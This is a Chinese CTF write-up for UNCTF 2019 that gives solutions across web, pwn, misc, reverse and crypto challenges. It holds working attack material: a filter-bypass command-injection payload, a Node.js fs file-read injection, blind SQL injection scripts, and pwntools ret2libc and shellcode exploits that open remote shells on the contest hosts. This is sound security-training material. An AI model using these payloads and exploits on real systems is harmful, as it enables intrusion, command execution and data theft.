​ 从上周三开始就一直在肝。。。然后就是一周过去了,之间还曾经到了第一(然后第二天直接掉到第六,我太难了),果然这就是菜吧。

(PS:才发现自己好多图都死了。。。会慢慢处理

WEB

bypass

Description

​ unctf_bypass

Analyze

​ 进入网址读源码

<?php
    highlight_file(__FILE__);
    $a = $_GET['a'];
    $b = $_GET['b'];
 // try bypass it
    if (preg_match("/\'|\"|,|;|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a))
        $a = "";
        $a ='"' . $a . '"';
    if (preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $b))
        $b = "";
        $b = '"' . $b . '"';
     $cmd = "file $a $b";
      str_replace(" ","","$cmd"); 
     system($cmd);
?>

​ 然后大概意思就是a,b读取到正则那一大堆的东西中一个时,将a输入到“和”之间,b同理,之后再执行file $a $b的命令。这里想到了闭合标签绕过再换行执行命令,所以构造payload:?a=\&b= %0afi\nd /var/ fl\ag%0a,其实上面判断的只有file "\"" "闭合file,system真正执行的时fi\nd /var/ fl\ag的命令,然后在linux中,'\'分割开的命令仍然可以运行,所以页面返回了

​ 一大堆地址,但是其中发现了/var/www/html/.F1jh_/h3R3_1S_your_F1A9.txt这一个地址,打开后得到flag

Solve

http://101.71.29.5:10054/.F1jh_/h3R3_1S_your_F1A9.txt

flag

unctf{86dfe85d7c5842c5c04adae104193ee1}

NSB Reset Password

Description

​ 我们遇到什么glzjin,都不要怕,微笑着面对他,消除glzjin的最好办法就是化身glzjin,坚持,才是胜利,加油,奥力给!!!!!!

Analyze

​ 赵总征婚二度,这题。。真的想了好久一段时间,先是爆破了好久2333。然后就开始各种骚操作乱做。最后莫名奇妙就出来了一次,复现又盘了好久。。。总之,这题就只有一个session,他的重置密码过程是在一条线上的,所以当你已经通过自己邮箱重置自己密码时的最后写密码的时候,再用bp发一个admin重置密码的请求包,你重置的"自己"的密码也就变成了重置admin的密码,登录即可得到flag。

Solve

如上所述

flag

flag{175f3098f80735ddfdfbd4588f6b1082} 

easy_admin

Description

​ easy_admin

Analyze

​ 开始以为又是个二次注入

​ 试了一下后发现。。。并不对,但是当你在forgetpassword里输入admin ' or '1 = 1'时,页面会返回一个hacker,所以猜测时盲注,使用之前的脚本注入,得到前半段flagflag{never_too,然后这也是admin的密码,登录上去后看见

​ 易得admin都是本地登录的,使用在头加上Referer:127.0.0.1,使其本地登录,得到后半段flag_late_to_x}

Solve

# blind SQL
import requests

url = 'http://101.71.29.5:10045/index.php?file=forget'

flag = ''
proxies={
    "http":"http://127.0.0.1:8080/"
}
for i in range(0,40):
    for x in range(ord('0'),ord('}')):
        payload = "-1'or ascii(substr((password),%d,1))=%d#"%(i,x)
        data = {'username':payload}
        res = requests.post(url,data=data,proxies=proxies)
        # print(res.content)
        if 'no'in res.text:
            pass
        else:
            flag += chr(x)
            print(flag)
            break

flag

flag{never_too_late_to_x}

帮赵总征婚

Description

​ 华北最大安全集团NSB老总glzjin最近终于找到了girlfriend,但他现在想要six wife了,你能帮他登录一下这个NSB征婚网站吗?

Analyze

​ 这题一打开F12源码中就有个<!-- I like rockyou! -->的注释,然后知道kali中有个弱密码字典就是rockyou,所以爆破,然后。。。就言简意赅的bp快乐爆破时间

Solve

flag

flag{57fc636a42f46c7658110a631256f5cb}

简单的备忘录

Description

Do not forget.

Analyze

​ 这题。。。真实运气,终端补全写得太好了,于是把命令试了一遍。。。就解出来了(PS:后面好像就不行了,emmm算是非预期了吧233

Solve

flag

flag{3ad4aaedf408c147d5f747f7ce76d2b4}

checkin

Description

​ checkin

Analyze

​ 怀疑人生的签到题。。。但是聊天室没有禁语屏蔽。。所以看到有大佬说时nodejs注入,然后便去看资料现学2333(不然可能现在都没出来)然后读js发现了

​ 于是猜测是利用/calc的这个case,于是利用主进程的'fs'的读写功能进行命令注入,构建payload/calc process.mainModule.require('fs').readFileSync('/flag','utf-8'); 执行后得到flag

Solve

flag

flag{0e4d1980ef6f8a81428f83e8e1c6e22b}

twice injection

Description

​ 已经忘记了题名=。=

Analyze

​ 开始一个sqli的题目,以为只要登录admin登录上去就可以万事大吉,然后。。。就没有然后了,上去后并没有任何作用。。然后换了姿势开始盲注。爆破一段时间后得到flag。

Solve

import requests

url1 = "http://101.71.29.5:10002/login_create.php" # 注册
# username password re_password submit=Register
url2 = "http://101.71.29.5:10002/login.php" # 登录
# login_user login_password mysubmit=Login
url3 = "http://101.71.29.5:10002/pass_change.php" # 密码重置
# current_password password re_password submit=Reset
sess = requests.session()
num = 1
content = ''
for i in range(1,100):
    for j in range(32,127):
        res1 = sess.post(url=url1,data={"username":"a' && ascii(substr((select b.1 from (select 1 union select* from fl4g)b limit 1,1),%d,1))=%d#" % (i,j)
    ,"password":"a","re_password":"a","submit":"Register"})
        res2 = sess.post(url=url2,data={"login_user":"a' && ascii(substr((select b.1 from (select 1 union select* from fl4g)b limit 1,1),%d,1))=%d#" % (i,j)
    ,"login_password":"a","mysubmit":"Login"})
        res3 = sess.post(url=url3,data={"current_password":"%d" % num,"password":"%d" % num,"re_password":"%d" % num,"submit":"Reset"})
        if res3.text.find("successfully") != -1:
            content = content + chr(j)
            print(content)
        num = num + 1

flag

UNCTF{585ae8df50433972bb6ebd76e3ebd9f4}

PWN

babyrop

Description

​ babyrop

Analyze

​ 巨婴题,checksec后发现是

    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

​ 于是。。。。wiki在线脚本,首先IDA分析程序,并没有System函数,所以猜测ret2libc,第一个绕过

​ 使v2为'ffff',所以buf为'a'*0x30+4*'f',然后继续进入函数

​ 发现对result的地址有限制,使用gadget绕过,最后是脚本一把梭。

Solve

#!/usr/bin/env python
# coding=utf-8

from pwn import *
import sys
import LibcSearcher
local = 0
attach = 0
if local:
    p = process("./1910255db2c8f9717e5")
    context.log_level='debug'
    if attach == 1:
        gdb.attach(p,'b *0x0804854B\nc')
else:
    p = remote("101.71.29.5",10041)

p.recvuntil('Hello CTFer!')
p.sendline('A'*0x20+'f'*4)
elf = ELF('./1910255db2c8f9717e5')
puts_plt = elf.plt['puts']
lsmg = elf.got['__libc_start_main']
main = 0x0804853D
trush = 0x0804839e
payload = 'A'*(0x10+4)+p32(trush)+p32(puts_plt)+p32(main)+p32(lsmg)
p.recvuntil('?\n')
p.sendline(payload)

a = p.recv(4)
__libc_start_main = u32(a)
libc = LibcSearcher.LibcSearcher('__libc_start_main',__libc_start_main)
libcbase = __libc_start_main - libc.dump('__libc_start_main')
system_addr = libcbase+libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
p.recvuntil('?\n')
payload = 'A'*(0x10+4)+p32(trush)+p32(system_addr)+p32(0xdeadbeef)+p32(binsh_addr)
p.sendline(payload)

p.interactive()

flag

UNCTF{7ef293810e29039f061982e72fd10bfb}

EasyShellcode

Description

​ unctf_EasyShellcode

Analyze

​ 打开IDA分析

​ 可以看出最后的shellcode是在a-zA-Z0-9的范围内,然后搜到了V爷爷(veritas501)的github内有转换的脚本,然后就直接用了233(ps:我好菜啊)

Solve

#!/usr/bin/env python
# coding=utf-8

from pwn import *
import ae64

p = remote('101.71.29.5',10080)
p.recvuntil('o say?')
sc = asm(shellcraft.sh())
obj = ae64.AE64()
sc = obj.encode(sc)
#WTYH39Yj0TYfi9XVWAXfi94WWAYjZTYfi9TVWAZjdTYfi9BgWZjWTYfi9WU0T8A0t8B0t8F0t8G0t8H0T8LRAPZ0T8MZ0t8Q0t8R0T8S0t8U0t8V0t8W0t8X0t8YjmTYfi9wFRAPZ0T8AZRAPZ0t8DZRAPZ0t8EZ0t8GRAPZ0T8HZ0T8KRAPZ0T8LZRAPZ0T8NZ0t8P0t8R0t8SjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP
p.sendline(sc)
p.interactive()

flag

UNCTF{x64_A5c11_shE11c0dE_i5_50_Ea5y}

Soso_easy_pwn

Description

​ Just_case.答案提交flag{}括号内的值。如果靶机不能正常访问,请将端口号改为10009

Analyze

​ 这题一开始checksec进去就看见

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

​ emmm差点就没做下去,然后丢IDA里,然后就看见了PIE的特点以及可以利用的一个函数

​ 然后看到main函数里有给前面的地址

​ 所以每次连接都会有前四位地址的爆出

​ 所以最后我们可以溢出新建一个case来得到shell

Solve

#!/usr/bin/env python
# coding=utf-8
from pwn import *
import re

p = remote('101.71.29.5',10000)


a = int(re.findall("\d+",p.recvline())[0])
p.recvline()
b = 0x9CD
addr = (a<<16)+b+(0<<12)
p.send('a'*12+p32(addr))
p.readuntil('byebye):')
p.sendline('3')
p.interactive()

flag

UNCTF{S0_so_E4zy_Pwn}

MISC

快乐游戏题

Description

​ 快乐游戏题

Analyze

​ 玩游戏就完事了

Solve

flag

UNCTF{c783910550de39816d1de0f103b0ae32}

Hidden secret

Description

​ unctf_Hidden secret 题目下载链接更新为: 链接:https://pan.baidu.com/s/125zN2324w-lV8ASXfa5zYw 提取码:psp2 hint:no NTFS,easier

Analyze

​ 开头得到三个文件,但是看到文件头03 0401 0205 06,就知道是去掉了504B的zip文件,加上后拼接得到zip,解压得到一张图。

​ 起始一开始是NTFS隐写,但是emmm题目出错了,后面就简单的加了个zip文件,解压后得到一个txt

K<jslc7b5'gBA&]_5MF!h5+E.@IQ&A%EExEzp\\X#9YhiSHV#

​ 然后各种编码猜测,最后锁在了base64+的编码里,然后因为@和]两个字符确定是base92的编码,然后python里解密一把梭得到flag

Solve

import base92
print(base92.decode("K<jslc7b5'gBA&]_5MF!h5+E.@IQ&A%EExEzp\\X#9YhiSHV#"))

flag

unctf{cca1a567c3145b1801a4f3273342c622}

EasyBox

Description

     unctf_EasyBox 

Analyze

​ nc上去后是数独题,根据题目来解题,算法是参考的网上 https://blog.csdn.net/zonnin/article/details/78813698 ,但是里面有

Solve

from pwn import *

p = remote('101.71.29.5',10011)
d = p.recvuntil('row ').decode().split('\n')[-20:-1]
da = []
#将数独转化成列表形式
for i in range(int(len(d)/2)):
    da.append(d[2*i+1])
for i in range(len(da)):
    da[i]=da[i].split('|')
for i in range(len(da)):
    del da[i][0]
    del da[i][-1]
    for j in range(len(da[i])):
        if da[i][j]==' ':
            da[i][j] = '0'
for x in range(len(da)):
    for y in range(len(da[x])):
        da[x][y] = int(da[x][y])
    #     print(da[x][y],end=' ')
    # print()


def not_done(s):#是否结束
    return True in [0 in r for r in s]

def get_row(s,r):#获得行数据
    return s[r]

def get_column(s,c):#获得列数据
    return [r[c]for r in s]

def possible(s,r,c):#是否可行
    return [i for i in range(1,10)\
            if i not in get_row(s,r)
            and i not in get_column(s,c)]

def go_around(s):#解数独
    ans = []
    for index_r,r in enumerate(s):
        row = []
        for indew_c,c in enumerate(r):
            if c == 0:
                maybe_ans = possible(s,index_r,indew_c)
                row.append(maybe_ans[0] if len(maybe_ans) == 1\
                                        else 0)
            else:
                row.append(c)
        ans.append(row)
    return ans

def print_sudoku(s, msg='1'):#打印数独
    print(msg)
    for r in s:
        print(" ".join([str(c) for c in r]))
    print("*"*18)
n_da = da

while not_done(n_da):
    n_da = go_around(n_da)
    print_sudoku(n_da)

sendl = ''
# print(da)
# print(n_da)
for x in range(len(da)):#将0的部分发送
    for y in range(len(da[x])):
        if da[x][y] == 0:
            sendl+=str(n_da[x][y])+','
    p.recvuntil('answer :')
    p.sendline(sendl[:-1])
    sendl = ''
p.interactive()

flag

flag{b613e841e0822e2925376d5373cbfbc4}

Happy_puzzle

Description

​ Happy_puzzle 签到人的又一力作 hint1: png吧 hint2:data不是图片,要拼图 hint3:idat数据块

Analyze

​ 根据hint得知是idat的数据块,于是写脚本拼接完整的png图片,一层一层的idat爆破出来(半自动脚本。。。

Solve

import os
head= bytearray.fromhex('89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 00 00 01 90 00 00 01 90 08 02 00 00 00 00 00 00 00'.replace(' ',''))
idata = bytearray.fromhex('00 00 28 00 49 44 41 54'.replace(' ',''))
crc = bytearray.fromhex('00000000')
end = bytearray.fromhex('00 00 00 00 49 45 4E 44 AE 42 60 82'.replace(' ',''))

dir = r'f\puzzle'
data_name = os.listdir(dir)

w1 = open(r'f\puzzle\res\11.png','rb')
data1 = w1.read()
w1.close()

for i in range(len(dir)):
    path = os.path.join(dir, data_name[i])
    if path[-5:]=='.data':
        a = open(path,'rb')
        da = a.read()
        a.close()
        data = data1+idata+da+crc
        b = open('res\\'+str(i)+'.png','wb')
        b.write(data)
        b.close()

flag

unctf{312bbd92c1v291e1827ba519326b6688}

信号不好我先挂了

Description

​ 信号不好我先挂了。 Flag交不上,多换几种格式。

Analyze

​ 开局一张图

​ 然后丢进Stegsolve分析,发现

​ 易得是一个LSB隐写,继续解密后得到一个zip,解压后得到另一个图片

​ 把这个也丢进stegsolve中分析,得到

​ 有一些条纹,然后又有两张图,易得是盲水印隐写,最后得到flag

Solve

flag

unctf{9d0649505b702643}

Think

Description

​ Think

Analyze

​ 打开一个网页,看到

​ 看到里面有个checknum,想着改成1会怎么样,然后。。。就得到flag了

Solve

#!/usr/bin/env python
# coding=utf-8

print """
  ____   ___  _  ___    _   _ _   _  ____ _____ _____
 |___ \ / _ \/ |/ _ \  | | | | \ | |/ ___|_   _|  ___|
   __) | | | | | (_) | | | | |  \| | |     | | | |_
  / __/| |_| | |\__, | | |_| | |\  | |___  | | |  _|
 |_____|\___/|_|  /_/   \___/|_| \_|\____| |_| |_|
"""

(lambda __y, __operator, __g, __print: [[[[(__print("It's a simple question. Take it easy. Don't think too much about it."), [(check(1), None)[1] for __g['checknum'] in [(0)]][0])[1] for __g['check'], check.__name__ in [(lambda checknum: (lambda __l: [(lambda __after: (__print('Congratulation!'), (__print(decrypt(key, encrypted)), __after())[1])[1] if __l['checknum'] else (__print('Wrong!'), __after())[1])(lambda: None) for __l['checknum'] in [(checknum)]][0])({}), 'check')]][0] for __g['decrypt'], decrypt.__name__ in [(lambda key, encrypted: (lambda __l: [[(lambda __after, __sentinel, __items: __y(lambda __this: lambda: (lambda __i: [[__this() for __l['c'] in [(__operator.iadd(__l['c'], chr((ord(__l['key'][(__l['i'] % len(__l['key']))]) ^ ord(__l['encrypted'][__l['i']].decode('base64').decode('hex'))))))]][0] for __l['i'] in [(__i)]][0] if __i is not __sentinel else __after())(next(__items, __sentinel)))())(lambda: __l['c'], [], iter(range(len(__l['encrypted'])))) for __l['c'] in [('')]][0] for __l['key'], __l['encrypted'] in [(key, encrypted)]][0])({}), 'decrypt')]][0] for __g['encrypted'] in [(['MTM=', 'MDI=', 'MDI=', 'MTM=', 'MWQ=', 'NDY=', 'NWE=', 'MDI=', 'NGQ=', 'NTI=', 'NGQ=', 'NTg=', 'NWI=', 'MTU=', 'NWU=', 'MTQ=', 'MGE=', 'NWE=', 'MTI=', 'MDA=', 'NGQ=', 'NWM=', 'MDE=', 'MTU=', 'MDc=', 'MTE=', 'MGM=', 'NTA=', 'NDY=', 'NTA=', 'MTY=', 'NWI=', 'NTI=', 'NDc=', 'MDI=', 'NDE=', 'NWU=', 'MWU='])]][0] for __g['key'] in [('unctf')]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), __import__('operator', level=0), globals(), __import__('__builtin__', level=0).__dict__['print'])

flag

flag{34a94868a8ad9ff82baadb326c513d40}

亲爱的

Description

​ 宁就是HSY? 答案提交UNCTF{flag}。

Analyze

​ 开局一个mp3,丢到HxD中看,后面有个zip的,foremost后得到一个加密的zip,然后看见文件最后的qqqmusic于是去QQ音乐找了下原曲,发现评论中

​ 于是解压,然后图片里又有一个zip(其实应该是word),然后在里面找到了flag的图片

Solve

flag

UNCTF{W3_L0v3_Unctf}

无限迷宫

Description

​ 啊哈,来走迷宫试试看啊,很简单的,哈哈哈哈哈哈。 Hint1:图片大小 Hint2:上下左右,1234 Hint3:密码高达几百位,请勿爆破 Hint4:128层,停止手工尝试 Hint5:题目没有其他解法,和你心里想的其实是一样的 Hint6:重申停止手工尝试,迷宫不是给人走的 答案提交flag{}括号内的值。

Analyze

​ 是人出的题?(出题人出来挨打),意思很明白,脚本解迷宫再解压,其他都在脚本备注里

Solve

from PIL import Image
import numpy as np
import sys
import os

sys.setrecursionlimit(999999)# 递归层数

step = []

def useful(maze, x, y):# 判断是否为有效的区域内
    if x >= 0 and x < len(maze) and y >= 0 and y < len(maze[0]) and maze[x][y] == True:
        return True
    else:
        return False

def walk(mg, x, y, ex, ey):# 网上找的迷宫递归代码=。=
    global step
    if x == ex and y == ey:
        step.append((x, y))
        solve(step)

    if useful(mg, x, y):
        step.append((x, y))
        mg[x][y] = 2
        walk(mg, x, y + 1, ex, ey)
        walk(mg, x, y - 1, ex, ey)
        walk(mg, x - 1, y, ex, ey)
        walk(mg, x + 1, y, ex, ey)

def solve(step):#也是网上的=。=,后面加了点东西
    change_records = []
    for i in range(len(step) - 1):
        if (abs(step[i][0] - step[i + 1][0]) == 0 & abs(step[i][1] - step[i + 1][1]) == 1) or (abs(step[i][0] - step[i + 1][0]) == 1 & abs(step[i][1] - step[i + 1][1]) == 0):
            pass
        else:
            change_records.append(i + 1)
    clip_nums = []
    for i in change_records:
        for j in range(i):
            if (abs(step[j][0] - step[i][0]) == 0 & abs(step[j][1] - step[i][1]) == 1) or (abs(step[j][0] - step[i][0]) == 1 & abs(step[j][1] - step[i][1]) == 0):
                break
        clip_nums.append((j, i))

    rc = []# 将行走路径计入rc中,并得到step的解密路径
    for i in clip_nums[::-1]:
        if not ((i[0] in rc) | (i[1] in rc)):
            step = step[:i[0] + 1] + step[i[1]:]
        rc += list(range(i[0], i[1]))
    tmp = step[0]#将解密路径转化成1234的密码(出题人的恶意)
    res = ''
    for i in range(1,len(step)):
        if (tmp[0] > step[i][0]) & (tmp[1] == step[i][1]):
            res += '1'
        elif(tmp[0] < step[i][0])&(tmp[1] < step[i][1]):
            res += '2'
        elif(tmp[0] == step[i][0])&(tmp[1] > step[i][1]):
            res += '3'
        else:
            res += '4'
        tmp = step[i]
    out = ''# 因为矩阵转化会多出来一位数,所以我们只取奇数位(偶数也行)
    for i in range(int(len(res)/2)):
        out+=res[2*i+1]
    print('Over!!!!')
    print(out)
    files = os.listdir('.')#系统解压zip,网上找了个改了一下(我好水啊)
    for filename in files:
        file = os.path.splitext(filename)
        if file[1] == '.jpg':
            newname = file[0] + '.zip'
            os.rename(filename, newname)
    cmd = 'unzip -P ' + out + ' flag.zip'
    os.system(cmd)

# 图形矩阵化
def black(c):  #黑色边框判断
    if c[0] <= 25 and c[1] <= 25 and c[2] <= 25:
        return True
    else:
        return False

def start(c, y, x): #起点判断
    for i in range(8):
        for j in range(8):
            if (abs(c[y+i-3][x+j-3][0] - 196) <= 25) and (abs(c[y+i-3][x+j-3][1] - 46) <= 25) and (abs(c[y+i-3][x+j-3][2] - 35) <= 25):
                return True
    return False

def end(c, y, x): #终点判断
    for i in range(6):
        for j in range(6):
            if (abs(c[y+i-3][x+j-3][0] - 255) <= 25) and (abs(c[y+i-3][x+j-3][1] - 210) <= 25) and (abs(c[y+i-3][x+j-3][2] - 81) <= 25):
                return True
    return False

def block_size(imgz, size): #像素大小
    ans = 0
    for i in range(5, size[0]):
        if black(imgz[i][i]):
            ans = i
            break
    block = size[0] // ans
    return block

def maze(img,size):# 图像矩阵化
    maze = []
    block = block_size(img, size)
    truely = size[0] // block
    x1 = (size[0] // truely) * 2
    y1 = (size[1] // truely) * 2
    start_y = 0
    end_y = 0
    start_x = 0
    end_x = 0
    for y2 in range(y1):
        line = []
        y = int(y2 * (truely / 2))
        for x2 in range(x1):
            x = int(x2 * (truely / 2))
            if black(img[y][x]):
                line.append(0)
            else:
                line.append(1)
            if start(img, y, x):
                start_y = y2
                start_x = x2
            if end(img, y, x):
                end_y = y2
                end_x = x2
                if y2 % 2 == 0:
                    end_y -= 1
        maze.append(line)
    walk(maze, start_y, start_x, end_y, end_x)

if __name__ == '__main__': # 主函数
    img = np.array(Image.open('flag.jpg').convert('RGBA'))
    maze(img, (len(img[0]), len(img)))

​ 最后再加个死循环脚本让他自己动,解压到最后就是flag.txt

#!/bin/bash 
while true
do
    python maze.py
done

flag

flag{af810046166d7b8a9c87227fcf341290}

REVERSE

奇怪的数组

Description

​ unctf_奇怪的数组

Analyze

​ 直接丢IDA

​ 发现其实就是判断输入是不是0-9a-f这里面的值,然后在和checkbox栈里的值比较

Solve

​ 然后其实里面的值就是flag=。=

s1 = 'flag{'
s = 'ad461e203c7975b35e527960cbfeb06c}'
flag = s1+s
print(flag)

flag

flag{ad461e203c7975b35e527960cbfeb06c}

unctf_easy_Maze

Description

​ unctf_easy_Maze

Analyze

​ 复杂的IDA使我选择动调,在step1后加断点,然后查看RDX的内存,得到迷宫

之后直接走迷宫

1001111
1011001
1110111
0001100
1111000
1000111
1111101

Solve

​ 然后可以通过程序验证flag,只有两个解,一个是ssddwdwdddssaasasaaassddddwdds,一个是waasaaaawwdddwdwddwwaaasasaaww,最后得到flag

flag

UNCTF{ssddwdwdddssaasasaaassddddwdds}

666

Description

​ 答案提交flag{}括号内的值。

Analyze

​ 丢进IDA,分析得到他的encode函数,然后解密即可

Solve

'''
a2 + i = (a1[i] + 6) ^ key
a2 + i + 1 = (a1[i + 1] - 6) ^ key
a2 + i + 2 = a1[i + 2] ^ 6 ^ key
'''

enflag = '''izwhroz""w"v.K".Ni'''
flag = ''
for i in range(6):
    flag += chr((ord(enflag[3*i])^18)-6)
    flag += chr((ord(enflag[3*i+1])^18)+6)
    flag += chr((ord(enflag[3*i+2])^18)^6)
print(flag)

flag

unctf{b66_6b6_66b}

BabyXor

Description

​ 答案提交flag{}括号内的值。

Analyze

​ 文件加了壳,随便找了个去壳机去了壳硬IDA分析,然后得到大概是三段加密,所以变成三段解密

v1 =i^s1[i]

v2 = s1[i]^s2[i]^s1[i-1]

v3 = s3[i+1]^ord(v2[i])^i

​ 然后读取栈中的数据解密

Solve

s1 = [0x66,0x6D,0x63,0x64,0x7F,0x37,0x35,0x30,0x30,0x6B,0x3A,0x3C,0x3B,0x20]
'''
v1 =i^s1[i]
'''
s2 = [0x37,0x6F,0x38,0x62,0x36,0x7C,0x37,0x33,0x34,0x76,0x33,0x62,0x64,0x7a]
'''
v2 = s1[i]^s2[i]^s1[i-1]
'''
s3 = [0x1a,0x0,0x0,0x51,0x5,0x11,0x54,0x56,0x55,0x59,0x1D,0x9,0x5D,0x12]
'''
v3 = s3[i+1]^ord(v2[i])^i
'''
flag1 = ''
flag2 = ''
flag3 = ''
for i in range(len(s1)):
    f = chr(s1[i]^i)
    flag1 += f
print(flag1)
for i in range(len(s2)):
    if i ==0:
        f = chr(s1[i]^s2[i]^s1[0])
    else:
        f = chr(s1[i]^s2[i]^s1[i-1])
    flag2 += f
print(flag2)
for i in range(len(s3)-1):
    f = chr(s3[i+1]^ord(flag2[i])^i)
    flag3 += f
print(flag3)
flag = ''
flag = flag1+flag2+flag3
print(flag)

flag

flag{2378b077-qd6e-4564-bdca-7eec8eede9a2}

CRYPTO

AES和ECC基础

Description

​ post flag到http://132.232.125.125

Analyze

​ 开始得了个AES和ECC.sage,但是AES就是简单解密,却少条件,条件在ECC中,然后ECC已知条件挺多的,把k爆破出来以后就可以得到aes_key,最后AES解密即可

Solve

# ECC
import sage
E=EllipticCurve(GF(15424654874903),[16546484,4548674875])
G=E(6478678675, 5636379357093)
K=E(2854873820564,9226233541419)
X=G
for i in rane(1,n):
    if X == K:
        k = i
        print "[+]k:",i
        break
    else:
        X = X+G
        print i
#k=2019813
c1 = E([6860981508506,1381088636252])
c2 = E([1935961385155,8353060610242])
m = c1 - (c2 * k)
aes_key = m[0]
#aes_key=1026
# AES
from Crtpyo.Cipher import AES
import base64

key = bytes('1026'.ljust(16,' '))
aes = AES.new(key,AES.MODE_ECB)

enc = '/cM8Nx+iAidmt6RiqX8Vww=='
text = aes.decrypt(text)
#text = this_is_a_flag

flag

401E48C9A96DC219C32AB5E75204B655

不仅仅是RSA

Description

​ It's not only RSA. 答案提交flag{}括号内的值。

Analyze

​ 恶魔出题人两分钟的莫斯密码(出来挨打!!!),然后得到c1,c2,其他均可用openssl或计算获得

Solve

#!/usr/bin/env python
# coding=utf-8
import gmpy2
from gmpy2 import mpz
def gcd(a,b):
    if b!=0:
        return gcd(b,a%b)
    else:
        return a
c1=mpz(4314251881242803343641258350847424240197348270934376293792054938860756265727535163218661012756264314717591117355736219880127534927494986120542485721347351)
c2=mpz(485162209351525800948941613977942416744737316759516157292410960531475083863663017229882430859161458909478412418639172249660818299099618143918080867132349)
n11 = 'C461B3ED566F2D68583019170BDD5263D113BAECE3DEE6631F08A166376AC41FF5D4E90B3330E0FC26993E3B353F38F9B6B880DFBC5807636497561B7611047B'
n1 = mpz(int(n11,16))
n22 = 'A36E3A2A83FE2C1E33F285A08C3ECD36E377F4D9FFE828E2426D3ECED0A7F947631E932AEC327555511AC6D71E72686C1CB7DBBF3859A4D9A3D344FBF12A9553'
n2 = mpz(int(n22,16))
q = gcd(n1,n2)
p1 = n1/q
p2 = n2/q
e = mpz(41221)
ni1 = (p1-1)*(q-1)
ni2 = (p2-1)*(q-1)
d1 = gmpy2.invert(e,ni1)
d2 = gmpy2.invert(e,ni2)

m1 = pow(c1,d1,n1)
m2 = pow(c2,d2,n2)

print(m1,m2)

m11 = hex(int(m1)).replace('0x','').replace('L','')
m22 = hex(int(m2)).replace('0x','').replace('L','')
print(bytearray.fromhex(m11)+bytearray.fromhex(m22))

flag

UNCTF{ac01dff95336aa470e3b55d3fe43e9f6}

一句话加密

Description

​ Easy_Crypto 答案提交flag{}括号内的值。

Analyze

​ 找到图片最后的n,发现n和Jarvis OJ Hard RSA的一模一样。。。然后之前有存那个的Rabin攻击脚本,就直接一把梭了

Solve

#!/usr/bin/env python
# coding=utf-8
import gmpy

def n2s(num):
    t = hex(num)[2:]
    if len(t) % 2 == 1:
        return ('0'+t).decode('hex')
    return t.decode('hex')
def solve(c):
    p = 275127860351348928173285174381581152299
    q = 319576316814478949870590164193048041239
    n = p*q
    r = pow(c,(p+1)/4,p)
    s = pow(c,(q+1)/4,q)
    a = gmpy.invert(p,q)
    b = gmpy.invert(q,p)
    x =(a*p*s+b*q*r)%n
    y =(a*p*s-b*q*r)%n

    print n2s(x%n) 
    print n2s((-x)%n)
    print n2s(y%n)
    print n2s((-y)%n)

c1 = 62501276588435548378091741866858001847904773180843384150570636252430662080263
c2 = 72510845991687063707663748783701000040760576923237697638580153046559809128516
solve(c1)
solve(c2)

flag

unctf{412a1ed6d21e55191ee5131f266f5178}

​ 最后说一句,这次题目质量还行,做得很爽(肝了一周。。。),但是里面有些题还是比较偏向脑洞和开发23333,希望比赛以后越办越好吧